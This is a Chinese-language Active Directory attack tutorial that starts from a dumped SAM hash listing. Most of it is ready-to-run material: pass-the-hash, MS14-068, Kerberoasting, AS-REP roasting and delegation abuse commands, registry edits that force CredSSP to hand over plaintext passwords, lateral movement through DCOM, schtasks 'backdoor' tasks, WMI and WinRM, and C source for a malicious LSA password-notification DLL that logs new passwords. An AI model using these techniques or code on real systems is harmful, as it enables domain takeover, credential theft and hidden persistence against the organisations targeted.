SysKey : fd4639f4e27c79683ae9fee56b44393f
Local SID : S-1-5-21-1982601180-2087634876-2293013296
SAMKey : 099d1915db1b0e5cf41f1f0908dc7e17
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
RID : 000001f5 (501)
User : Guest
RID : 000003e8 (1000)
User : liukaifeng01
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
### hash 传递攻击 PTH （Pass the Hash)
1.msf里使用psexec模块
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec //以root启动msf
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set lhsot 192.168.64.133
lhsot => 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lhost 192.168.64.133
lhost => 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lport 443
lport => 443
msf5 exploit(windows/smb/psexec) > set rhost 192.168.52.138
rhost => 192.168.52.138
msf5 exploit(windows/smb/psexec) > set SMBUser Administrator
SMBUser => Administrator
msf5 exploit(windows/smb/psexec) > set SMBPass 8a963371a63944419ec1adf687bb1be5 //一般选择NTLM HASH
SMBPass => 8a963371a63944419ec1adf687bb1be5
msf5 exploit(windows/smb/psexec) > run
2.使用mimikatz
我们在目标机里放置mimikatz.exe 然后执行以下命令
sekurlsa::pth /user:administrator /domain:"xxx.com" /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc //自行修改
之后便会弹出一个cmd窗口，在这个窗口里链接机器即可
net use \\192.168.222.131\c$
3.使用cobalt strike
在cobalt strike里找到域控，然后使用psexec模块，选择一个本地hash即可。
## MS14-068
这个洞的危害很大，可以让任意域用户提权到域管。
适用版本: server 2000以上
补丁: kb3011780
### M14068利用
1.工具kekeo[
https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20200718](https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20200718)
具体方法为，在kekeo里先执行 kerberos::purge清空票据
然后再执行 exploit::ms14068 /user:xxx /password:xxx /domain:xxx /ptt
即可。
然后就dir \域控\c$ 试试，如果可以就说明提权成功了（不是每次都能成功的)
2.golenpac <https://github.com/maaaaz/impacket-examples-windows/blob/master/goldenPac.exe>
这个工具好用,
执行类似上述命令，就能返回一个域控的 system权限的cmd shell回来，感觉蛮好用
另外在最后指定域控机器时，可以指定域控以外的机器并获取他们的本地system权限用户.
但返回的似乎不是域控？
## kerberoast
Kerberoast攻击原理: 攻击者从 TGS-REP 中提取加密的服务票证。 由于服务票证是用链接到请求 SPN
的帐户的哈希加密的，所以攻击者可以离线破解这个加密块，恢复帐户的明文密码
### How to get SPN
如何得到域中的所有SPN？
**1.setspn**
很简单，只需执行
setspn -q */*
即可
**2.kerberoast工具集的GetUserSpns powershell脚本**
### How to get HASH
如何得到hash？
有如下方法
**1.Rubeus.exe**
这个工具github上就有，但是clone下来后需要自己编译成exe.
然后执行 Rubeus.exe kerberoast指令即可
**2.mimikatz**
mimikatz真的神器。
通过命令 kerberos::ask /target:你所指定的SPN,
即可通过认证的方式得到一个ST。
然后我们在kerberos::list里可以看到我们想要的ST
**3.powershell**
越来越发现powershell在域渗透中的重要性了
输入以下指令，即可完成HASH获取
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/win7.xie.com:3306/MySQL"
然后mimikatz导出即可
### How to export hash
获得了ST票据，但怎么导出？
**1.mimikatz**
导出所有票据
可以发现生成了kirbi文件。这就是我们所需要的hash了
**2.Empire Powershell 框架**
github:<https://github.com/EmpireProject/Empire>
我们通过这个框架可以导出hashcat格式的hash.
Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat
### How to crack HASH
如何破解HASH?
**1.HASHCAT**
这个工具需要让hash格式为hashcat模式才能进行破解。kribi文件不能放入hashcat进行破解.
hashcat -m 13110 pass.txt hash.txt
**2.kerberoast中的tgsrepcrack.py**
支持kribi文件破解
python3 tgsrepcrack.py pass.txt xxx.kribi
### How to use Kerberoast
既然我们都把ST的加密hash都破解了，那么我们就可以随便改ST中的票据内容了..\ 这里使用的是kerberoast工具集里的kerberoast.py
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
## 将票据权限改为administrator
kerberos::ptt PENTESTLAB.kirbi #将票据注入到内存
## AS_REP Roast
较Kerberoast来说，比较鸡肋。
它的原理是在不开启kerberos预身份验证的前提下，获得其他用户的AS_RES，并破解加密session key 的 client hash。
### How to get HASH
**1.Rubeus**
Rubeus.exe asreproast
然后就会搜索域中不需要kerberos预验证的用户，并获得ASREP。
**2.Empire框架与 ASREPRoast.ps1**
使用Empire框架下的powerview.ps1查找域中设置了 “不需要kerberos预身份验证” 的用户
Import-Module .\powerview.ps1
Get-DomainUser -PreauthNotRequired
然后用 ASREPRoast.ps1
：<https://github.com/HarmJ0y/ASREPRoast> 获取指定用户的AS-REPhash
Import-Module ASREPRoast.ps1
Get-ASREPHash -USER xx -Domain xx |Out-file -Encoding ASCII hash.txt
就会生成一个hash数据文件了
### How to crack hash
将生成的HASH保存起来，并在下图处加入$23
然后丢给hashcat 跑
hashcat -m 18200 hash.txt pass.txt
注意这里的pass.txt是自己的明文字典…之前我还一直以为是爆破出来的结果.
原来是一个一个的用明文字典去爆破。
## 委派攻击
### 域委派
域委派是一种域内主机的行为，使某个服务可以以访问的用户的身份去访问另外一个服务。
为什么需要域委派呢，比如现在有web服务器和文件服务器，当用户A访问web服务器去请求某个资源时，web服务器上本身并没有该资源，所以web服务器就会从文件服务器上调用这个资源，其中发生的过程若以域委派的形式进行，那么就是：
用户A访问web服务器，服务器再以用户A的身份去访问文件服务器。
发生域委派的服务一般为机器账户和服务账户。
域委派分为三种：非约束性委派，约束性委派，基于资源的约束性委派
#### 非约束性委派
非约束性委派的原理是：用户想访问服务A，于是向KDC提交认证，KDC发现A是非约束性委派，于是会把TGT放在ST中一并给用户。然后用户用这个ST去访问服务A，服务A就相当于获得了用户的TGT，把TGT放入lsass进程，然后就可以拿着用户的TGT以用户的身份去访问所有用户权限能够访问的服务了。
非约束性委派的启用：
为某账户启用 信任此计算机来委派任何服务 即开启非约束性委派。
开启后在该用户的 ACL属性会多出一个 flag : WORKSTATION_TRUSTED_FOR_DELEGATION
(图截不完，反正这个flag就在箭头所指处的后面)
非约束委派的设置需要`SeEnableDelegation` 特权，该特权通常仅授予域管理员
这里说个题外话，域控主机默认是非约束性委派
#### 约束性委派
非约束性委派是很不安全的（因为控制了开启非约束性委派的机器，就相当于获得了上面的所有其他用户的TGT），所以更安全的约束性委派诞生了。
约束性委派多了两个委派协议，S4U2SELF S4U2PROXY，并且限制了被设置委派的服务的访问范围：仅能被委派到被指定的服务。
约束性委派的大致流程：
用户访问开启约束性委派的服务A
（情况一：无S4U2SELF参与）首先需要经过KDC认证，KDC发现服务A开启了约束性委派，于是在TGS_RES返回给用户ST1（可转发ST），用户拿着ST1访问服务A，服务A先与KDC进行身份验证获得一个有效TGT，然后拿着ST1经过S4U2PROXY协议向KDC发起TGS_REQ，KDC返回ST2（用户身份的ST），然后服务A拿着ST2访问指定服务。
（情况二：有S4U2SELF参与）用户通过其他方式（如NTLM认证，表单认证等）获取了服务A的信任，但是此时服务A并没有来自用户的ST1，按情况一中的流程，服务A就不能完成委派。所以这个时候服务A会以自己的身份向KDC发起申请获取一个可转发TGT（获取KDC信任），然后用这个TGT发起TGS_REQ获得指定用户的ST1，既然获取了ST1，就继续情况一中的流程即可了。
也就是说S4U2SELF是用户通过非kerberos协议完成认证的情况下，自动向KDC获取ST1的一个协议。
而S4U2PROXY则是将ST1发给KDC，使其变现为成自己可用的 ST2 的一个协议。
启用方法:
其中被添加的服务则是允许被委派到的服务
若启用的是 仅使用kerberos，那么useraccountcontrol属性仅有 workstation_trust_account.
若启用任何身份验证协议，就会有 TrustedToAuthenticationForDelegation
#### 基于资源的约束性委派
Windows Server 2012中引入了基于资源的约束性委派。 只能在运行Windows Server 2012或Windows Server
2012 R2及以上的域控制器上配置
基于资源的约束性委派，不需要域管理员前来设置，而把设置委派的权限交给了自身。
其实就是可以摆脱域控来主动设置自己可以被哪些账户委派访问。
### 非约束性委派攻击
非约束性委派有巨大的安全问题，上面我们说过，非约束性委派的实质就是把用户的TGT存入lassa进程，从而模拟用户身份进行各种委派访问，所以我们只需控制非约束性委派攻击的机器，然后dump出所有的票据，就相当于获得了所有经过该服务进行约束性委派的用户的身份了。
#### 1.进行非约束性委派账户扫描
这里提一下怎么创建有SPN的服务账户。
只需再域控里执行 setspn -U -A spn_type username 即可
其中spn_type即SPN的格式： MSSQLSvc/<fqdn>:[<port> |
<instancename>]</instancename></port></fqdn>
* **MSSQLSvc** 是要注册的服务。
* <fqdn> 是服务器的完全限定域名。</fqdn>
* <port> 是 TCP 端口号。</port>
* <instancename> 是 SQL Server 实例的名称。</instancename>
这里我们随便输一个，比如 sb/caonima 这种都行.
这里采用powersploit下的powerview.ps1
根据我网上很多搜索结果，查找非约束委派服务账户只需调用
`Get-NetUser -Unconstrained -Domain de1ay.com`
这个命令即可，但是我下载下来的powerview里的get-netuser里却没有unconstrained参数，很烦。所以用一个比较原始的方法来判别（适合在用户少的情况下）
直接调用 Get-NetUser -SPN 找到所有服务账户或者Get-domaincomputer找到所有机器账户，然后判断其useraccountcontrl里有没有trusted_for_delegation,若有，则说明开启了非约束性委派
查询非约束委派机器账户则用
`Get-domaincomputer -unconstrained -domain const.com`
#### 2.非约束性委派的攻击
仅能基于机器账户
如果我们获得了一个非约束性委派账户，我们就可以通过收集内存中的tgt达到任意用户访问的目的。
在被控制的非约束性委派机器上使用mimikatz。
`privilege::debug`提权
`sekurlsa::tickets` 查看本机所有票据
通过以上命令获取票据,如果管理员访问了本机的一些服务，那么它的TGT就会被截获放入内存。
我们模拟管理员调用非约束性委派机的smb服务
我们回到非约束委派机，查看票据
tgt被截获,我们用 sekurlas::tickets /export 把票据导出来
然后mimikatz里使用
`kerberos::ptt 票据文件名 将票据注入内存`
访问域控c$
成功
#### 3.非约束性委派配合 Spooler打印机服务
纯非约束性委派攻击很鸡肋，因为必须要其他用户通过你进行委派访问。
但是 ：利用Windows打印系统远程协议`（MS-RPRN）`中的一种旧的但是默认启用的方法，在该方法中，域用户可以使用MS-RPRN
`RpcRemoteFindFirstPrinterChangeNotification（Ex）`方法强制任何运行了`Spooler`服务的计算机以通过`Kerberos`或`NTLM`对攻击者选择的目标进行身份验证。
配合非约束性委派攻击，简直爆炸，可以主动拿到其他用户的TGT。-
而且splooer服务是默认运行的。（图源WIN7）
使其他主机强行与自己发生身份验证的脚本：需要自己编译一下<https://github.com/leechristensen/SpoolSample.git>
在此之前需要开启监听来自其他主机的TGT，这里用的是rubeus
`Rubeus.exe monitor /interval:1 /filteruser:xx`
然后使用`SpoolSample.exe XX win7`,让指定机器访问WIN7进行身份验证
然后获得TGT，下班。
### 约束性委派的攻击
约束性委派的大致攻击流程是: (利用S4U2SELF=>)如果我们获得了约束性委派机的NTLM
hash或者明文密码，我们就可以以此来向KDC发送一个TGT申请，获得一个可转发的TGT。然后用这个可转发的TGT调用S4U2SELF协议，获得一个针对自己的ST1票据（其中ST1票据中的请求用户可以任意伪造）.然后用这个ST1票据去向KDC请求ST2，然后用ST2去访问服务，此时我们访问的身份就是我们任意伪造的身份了.
重点是只要获得了可转发TGT，约束性委派机就可以任意伪造其他用户的ST1票据请求，太可怕了。
这个攻击的最大前提是我们得获得约束性委派账户的NTLM HASH或者明文密码,然后我们才能成功的得到可转发TGT，然后才能得到接下来的一切。
首先配置好约束性委派账户
注意选用 使用任何身份验证协议
我们先信息搜集：看哪些用户是开启约束性委派的。一手powerview安排上
箭头指出的地方就是可以被委派访问的服务
我们用kekeo来实现攻击.
tgt::ask /user:xx /domain:xx /password:xx /ticket:test.kirbi这里的/password可以改成/NTLM:xx
获得TGT转发票据
tgs::s4u /tgt:file_name /user:administrator /service:cifs/DC
tgt处改为刚刚得到的TGT文件的名字，这个命令执行后得到administrator身份的 ST2
把最后获得的票据用mimikatz kerberos::ptt 注入内存，完事。
### 基于资源的约束性委派
refer:<https://xz.aliyun.com/t/7454>
#### 原理的几个点：
1.S4U2SELF 协议可以在用户没有配置 TrustedToAuthenticationForDelegation
属性（即开启使用任何协议认证的约束性委派）时被调用，但是返回的ST是不可被转发的。
2.基于资源的约束性委派主机 在被另一台主机委派访问时，在S4U2PROXY过程中提交过来的ST如果即使是不可转发的。KDC依旧会返回有效的ST2。
3.每个普通域用户默认可以创建至多十个机器账户（ 由MachineAccountQuota属性决定 ），每个机器账户被创建时都会自动注册SPN:
`RestrictedKrbHost/domain`和`HOST/domain`这两个SPN
#### 攻击流程:
假设开启基于资源的约束性委派机器为A
1.首先要有一个对当前计算机有写权限的账户，才能对A设置可以 被 委派访问的服务账户。
2.利用当前账户创建一个机器账户，并配置好机器账户到A的 基于资源的约束性委派
3.因为机器账户是我们创建的，我们知道他的密码账户，可以让它利用S4U2SELF协议获得一个不可转发ST。然后用这个不可转发ST通过S4U2PROXY，在基于资源的约束性委派基础上获得有效的访问A
cifs服务的ST2。
4.用ST2访问A的CIFS服务，权限获得。
#### 实操
这个攻击说白了就是个提权...
首先我们检查一下域控是否是win2012以上的主机，因为只有这样才能开启 基于资源的约束性委派。
我们使用powersploit下的powerview脚本。执行命令 get-netdomaincontroller
可以获得域控WIN版本
然后我们查看当前用户对哪台主机有写权限。因为是实验，所以我们先来看看怎么配置一个用户对一个机器的权限。
直接在域控上找到某主机，然后进入在属性里进入安全选项卡，添加某用户，然后给这个用户分配权限即可。
我们依旧使用powerview。先调用
`Get-DomainUser -Identity username -Properties objectsid`来获取当前用户SID
然后`Get-DomainObjectAcl -Identity 主机名 | ?{$_.SecurityIdentifier -match
"刚刚得到的SID"}` 查看当前用户对某台主机是否有写权限。
如果有 GenericAll（完全控制权），GenericWrite、WriteProperty、WriteDacl
这些属性，就说明该用户能修改计算机的账户属性。
如图看到我们对WIN7进行操作
好的，我们接下来就要创立一个机器用户了。根据网上搜索结果，使用powermad这个ps脚本可以很快捷的创建一个机器用户。<https://github.com/Kevin-Robertson/Powermad>
Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)
好的，我们添加了一个密码hack，名为hacksystem的机器账户，接下来就是配置hacksystem到WIN7的委派了。我们需要做的，是修改WIN7的
`msDS-AllowedToActOnBehalfOfOtherIdentity`属性的值 ，这个操作我们用powerview实现。
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"
#这儿的sid是我们创建的#机器用户#evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
至于机器账户SID怎么获得，powerview下的 `get-domiancomputer hacksystem`
然后使用`Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity` 查看委派是否设置成功
`Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity'
-Verbose`此命令可以清除 msds-allowedtoactonbehalfofotheridentity属性的值
现在都统统设置好了，开始下一步吧。
网上一般用的rubeus，这里我用kekeo吧
Rubeus.exe hash /user:xxx /password:xxx /domain:xxx
本地运算出机器用户ntlm hash 这里借用一下别人的图
`Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7
/impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt` 写入票据
然后我在本机使用以上方法后klist一下，发现确实存在票据
但是dir \test1\c$时本机莫名其妙不能进行kerberos验证，我服了》。。但不管怎样，我们拿到银票了
#### 敏感用户不可委派的绕过
若我们的administrator用户被设置为敏感用户不可委派或者被加入保护组，按理说他的访问就不能进行委派。
我们在以administrator账户身份进行S4U时，只能进行S4U2SELF，不能进行S4U2PROXY。我们用 `Rubeus.exe s4u
/user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7
/impersonateuser:administrator /msdsspn:cifs/dm2008
/ptt`继续实验administrator，发现确实是这样
此时我们用 rubeus.exe describe /ticker:S4Ubase64加密的票据
可以发现servicename并没有指定某个服务，仅仅只有一个账户.即发生了服务名称缺失的问题。很简单，把票据修改一下就行了.网上很多说用这个工具
<https://www.pkisolutions.com/tools/asn1editor/>
但实际上rubeus也能完成票据修改`rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt`
完事
## credssp 导出用户明文密码
CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器。 通常运用于远程桌面服务。
我们在配置这个协议时，一般在组策略编辑器里配置。
Allow delegating default
credentials表示在通过使用受信任的X509证书或Kerberos实现服务器身份验证时自动发送当前用户的凭据，即明文密码。
Allow delegating default credentials with NTLM-only server
authentication表示在通过NTLM实现服务器身份验证时自动发送当前用户的凭据，即明文密码。
这几个属性在注册表里对应
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation。
### 攻击原理
那么这样看，这个攻击流程就很自然了。
我们要获得两台机器，一台机器当作远程桌面的服务器，一台当作远程桌面的客户端。
在客户端上配置组策略（CREDSSP），使其在远程桌面身份验证时发送明文密码。
然后开始远程桌面验证，在服务器上获得客户端发来的明文密码.
### 实操
1.通过修改注册表，改变组策略身份验证的凭据策略(选一个），这一步需要管理员权限，本地或域管
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *
一股脑设置好就完事了。。（用户需重新登陆才生效）
然后开始获取密码
我们刚刚提到需要两台电脑才能获取密码，其实那只是一个模型，一个机器既可以当作客户端又可以当作服务端的。
我们用kekeo实现攻击（本机向本机获取密码时，普通用户即可完成以下操作）
tsssp::server 开启服务端
tsssp::client /target:... 开启客户端，这里的target随便填
那么再回到需要两个机器，一个当服务端一个当客户端的情况吧。
服务端建立: tsssp::server 需要SYSTEM权限
客户端链接: tsssp::client /target:服务端的SPN（一般采用TERMSRV服务） /pipe:
\服务端域名\pipe\kekeo_tsssp_endpoint 普通用户权限即可
## tscon横向
若一个机器上有多个用户登录，则在任务管理器可以看见如下场面
其中，我们可以右键其他用户选择链接，输入其密码后就能进入其桌面
但是对于system用户来说，要链接到其他用户是不需要输入密码的，可以直接连接。所以我们可以通过system权限获取登录在当前机器上的域用户权限。
比如上图中的administrator是域管，我有当前机器的system权限，那么我可以直接用以下命令完成用户权限获得。
query user 获得administrator用户的id
可以发现admin的id是2，那么我们就可以用tscon这个windows自带的命令行工具完成权限获得。
cmd /k tscon 2 /dest:console
执行以上命令，我们跳转到了admin的桌面
## 利用COM/DCOM对象
参考:<https://www.freebuf.com/articles/network/256372.html>
### 前言
DCOM是COM的扩展，允许应用程序实例化和访问远程计算机上的COM对象。
这里简要说一下几个有关COM的概念
CLSID：又叫CLASSID 一个COM类的唯一标识符，每一个Windows注册类与一个CLSID相关联。长得像这样
{20D04FE0-3AEA-1069-A2D8-08002B30309D}
ProgID：其可被用作对用户更友好的替代的一个CLSID，比如MMC20.APPLICATION.1就是一个ProgID。ProgID不能保证是唯一的，并非每个类都与ProgID相关联
Appid:
为了保证COM对象能被顺利的远程调用（即为了使DCOM可访问COM对象），需要把APPID与该类的CLSID相关联，且AppID需设置权限来规划哪些客户端能够访问
我们可以通过powershell执行get-CimInstance 来列出本地COM程序列表
远程DCOM对象实例化的流程:
客户端从远程计算机请求实例化由CLSID表示的对象。如果客户端使用ProgID则先将其本地解析为CLSID。
远程计算机检查是否存在由该CLSID所关联的AppID，并验证客户端的权限。
DCOMLaunch服务将创建所请求的类的实例，通常是通过运行LocalServer32子项的可执行文件，或者通过创建DllHost进程来承载InProcServer32子项引用的dll。
客户端应用程序和服务器进程间建立通信，客户端便可以访问新创建的对象。
### MMC20.APPLICATION.1
中文名为： Microsoft管理控制台（MMC）2.0包括脚本对象模型。
我们一步步抽丝剥茧跟踪一下这个对象的利用点，需要注意的一点是调用该对象必须要有管理员权限。
如上图，我们先列出在MMC20.APPLICATION中的模块，然后继续列出其中Document中的属性，再继续列出Document.ActiveView中的属性。可以发现一个名为ExecuteShellCommand的方法，光是听名字就知道是可以执行shell命令的方法了。到微软文档查一查这个方法，获得了以下信息。
ExecuteShellCommand（[命令][目录][叁数][窗口状态]）
命令
一个值，指定要执行的命令。可以指定标准路径。Command中包含的所有环境变量（例如“％windir％”）都将被扩展。
目录
一个值，用于指定工作目录的名称。Directory中包含的所有环境变量都将被扩展。如果“目录”为空字符串，则将当前目录用作工作目录。
参数
一个指定Command要使用的参数（如果有）的值；参数必须用空格分隔。例如，将参数指定为“ Param1 Param2”会导致Command接收Param1和Param2作为参数。如果要求单个参数用双引号引起来，请使用适合您的编程语言的技术。例如，在Microsoft Visual Basic中，将参数指定为“ Param1”“这是Param2”“”导致命令接收到参数1和“这是Param2”。
窗口状态
一个指定窗口状态的值。该值可以是以下字符串值之一，也可以是空字符串。如果为空字符串，则默认为“已恢复”。
“Maximized”
该命令在最大化的窗口中执行。
“Minimized”
该命令在最小化的窗口中执行。
“Restored”
该命令在已恢复或正常的窗口中执行。注意：这里会弹个黑框框
返回值
此方法不返回值。
于是乎，我们就能理所应当的想到这个东西可以被用于本地任意命令执行，就像这样
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")
我们进一步发掘其横向移动的能力
我们知道DCOM具有通过网络与对象进行交互的能力，在我们是管理员的前提下我们可以使用GetTypeFromProgID()与powershell进行DCOM远程交互。
GetTypeFromProgID("COM","远程ip")
即可指定与哪一个远程IP进行交互。所以我们可以把payload改造成这样，进而可以在其他机器上进行任意命令执行，从而达到横向移动的目的
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ，“远程ip”)).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")
## ipc
### ipc简介
IPC$是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，即能建立链接，达到访问远程计算机的目的。利用这个链接不仅可以访问目标机器中的文件，进行上传下载等操作，还能在目标机器上执行部分命令。
net use \\ip\ipc$ "password" /user:username
如果账户和口令正确，就建立好了链接。
建立好链接后就能执行以下命令
dir \\192.168.183.130\c$ 列出C盘
copy C:\Users\douser\Desktop\whoami.txt \\192.168.183.130\c$ 上传文件
tasklist /S 192.168.183.130 /U administrator /P liu78963 列出某IP上的进程信息，/U指定哪个用户执行该命令，/p指定该用户密码
net use \\IP /del /y 删除链接
net use 查看已建立的ipc链接
### 利用ipc横向移动
#### at
at \\192.168.183.130 17:05:00 cmd.exe /c "<命令>"
at \\192.168.183.130 17:05:00 powershell.exe -c "<命令>"
关于时间的获得，可以使用 net time \\\IP 获得。
计划任务执行后需要删除，不留痕迹
at \\192.168.183.130 1 /delete //1为任务的ID
关于此方法我们可以先通过copy上传恶意文件然后通过at来执行它，或者直接通过powershell远程加载上线等
#### **schtasks**
at命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了，取而代之的是schtasks命令。
横向移动的大致思路与at差不多。
在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次，启动程序为我们之前到C盘下的shell.exe，启动权限为system。
schtasks /create /s 192.168.183.130 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
但也有些时候，由于当前权限或组策略设置等原因，该schtasks方法远程创建计划任务可能会报错拒绝访问,遇到这种情况，我们可以加上/u和/p参数分别设置高权限用户名和密码
schtasks /create /s 192.168.183.130 /u username /p password /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
另外，在我们创建好计划任务后，可以通过下列指令立即让计划任务执行（如果拒绝访问的话就加上/u /p参数）
schtasks /run /s 192.168.183.130 /i /tn backdoor // i：忽略任何限制立即运行任务
计划任务执行后需要清理痕迹
schtasks /delete /s 192.168.183.130 /tn "backdoor" /f
#### sc
这个命令可以操控服务。
sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建服务，其中binpath可以是某个exe文件的路径，也可以是一段指令。当为路径时，服务启动时会自动执行该exe文件，当为指令时，服务启动时会自动执行该指令
sc \\[host] start [servicename] 启动某个服务
sc \\[host] delete [servicename] #删除服务
## wmi
从Windows
98开始，Windows操作系统都支持WMI。WMI是由一系列工具集组成的，可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问，它允许系统管理员远程执行自动化管理任务，例如远程启动服务或执行命令。并且wimc执行命令时不会留下日志信息。
通过wmic在远程主机上开启进程
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "command"
### wmiexec
通过wmic创建远程进程时，不会有回显，需要通过ipc$链接type，重定向等手段才能看到回显结果，就很不方便，wmicexec的出现就很好的解决了这一痛点。具体原理是通过wmic在135端口进行交互，再把内容通过445端口传回来。
wmiexec普遍来说有三种版本.py，exe，.vbs。可以走socks5协议代入内网，杜绝了bypassav的麻烦。
(exe版本网上似乎很不好找)
这里用python版本，下载链接<https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_22，>
impacket按照网上安装来弄就行了
1.环境linux，我们配置好proxychanis代入内网（略
2.proxychains wmiexec.py 域名/用户名:密码@ip 获得shell
3.也可以进行hash传递 python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP
效果图
## winrm
winRm（微软远程管理）是WS-Management协议的实现组件。WinRM是windows操作系统的一部分。是一项允许管理员在系统上远程执行管理任务的服务。通信通过HTTP（5985）或HTTPS
SOAP（5986）执行，默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。 你需要管理员身份才能使用它。
适用版本:适用于 Win server 2008 / Win7 及以后的系统，但是 Win server 2008 / PC
全版本系统默认关闭。只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口，允许远程任意主机来管理。
我们可以通过如下powershell命令查看机器上的winrm是否正常运行
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
若没开启，你可以在管理员权限下执行以下指令开启
winrm quickconfig -q
or
Enable-PSRemoting -Force
远程命令执行
winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami
# 域管权限维持
## Hook PasswordChangeNotify
原理：当用户修改密码时会输入明文密码，LSA会调用PasswordChangeNotify
在系统中同步密码。我们HOOK这个函数，改变其行为，就能达到获取用户修改后的密码的明文.
Tool: Powersploit下的Invoke-ReflectivePEInjection.ps1 （用于注入）
<https://github.com/PowerShellMafia/PowerSploit>
以及 <https://github.com/clymb3r/Misc-Windows-Hacking>
的HookPasswordChange.dll(需自行编译)
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
执行如上命令，只要修改了用户的密码，修改后的明文密码就会记录在 C:\Windows\Temp\passwords.txt 文件中。
下面我们分析一下原理
当密码改变请求发生时，LSA会调用Password Filters。每一个password
filter会先验证新密码的合法性和复杂度，然后LSA会发出请求已更改的信号。
该过程由 password notification DLL 完成。所以我们只需要劫持这个DLL，把它换成我们自定义的DLL即可达到目的。
这种方式一般在Server服务器上利用率较高
通常来说，这个dll文件的在注册表中的路径是 hklm\system\currentcontrolset\control\lsa的 notification
packages表项。
我们要利用该方法，首先要确保密码策略已启用
至于命令行怎么修改。可以这样
secedit /export /cfg gp.inf /quiet 将组策略导出为文件
在该文件里将PasswordComplexity项值修改为1
然后用secedit /configure /db gp.sdb /cfg gp.inf /quiet 将其导入数据库
刷新组策略： gpupdate/force
重启后生效
下面我们构造dll文件去覆盖它。
首先我们的dll文件内容如下。
#include<Windows.h>
#include<NTSecAPI.h>
#include <fstream>
extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify() {
OutputDebugString(L"InitializeChangeNotify");
return TRUE;
}
extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
PUNICODE_STRING AccountName,
PUNICODE_STRING FullName,
PUNICODE_STRING Password,
BOOLEAN SetOperation)
{
OutputDebugString(L"PasswordFilter");
return TRUE;
}
extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordChangeNotify(
PUNICODE_STRING UserName,
ULONG RelativeId,
PUNICODE_STRING NewPassword)
{
FILE *pFile;
fopen_s(&pFile, "C:\\logFile.txt", "a+");
fprintf(pFile, "%ws:%ws", UserName->Buffer, NewPassword->Buffer);
return 0;
}
然后把这个dll文件放入system32文件，然后修改注册表，使 hklm\system\currentcontrolset\control\lsa的
notification packages表项包括我们的恶意dll文件，具体命令行操作如下
REG ADD "HKLMSYSTEMCurrentControlSetControlLsa" /v "Notification Packages" /t REG_MULTI_SZ /d "evildll" /f
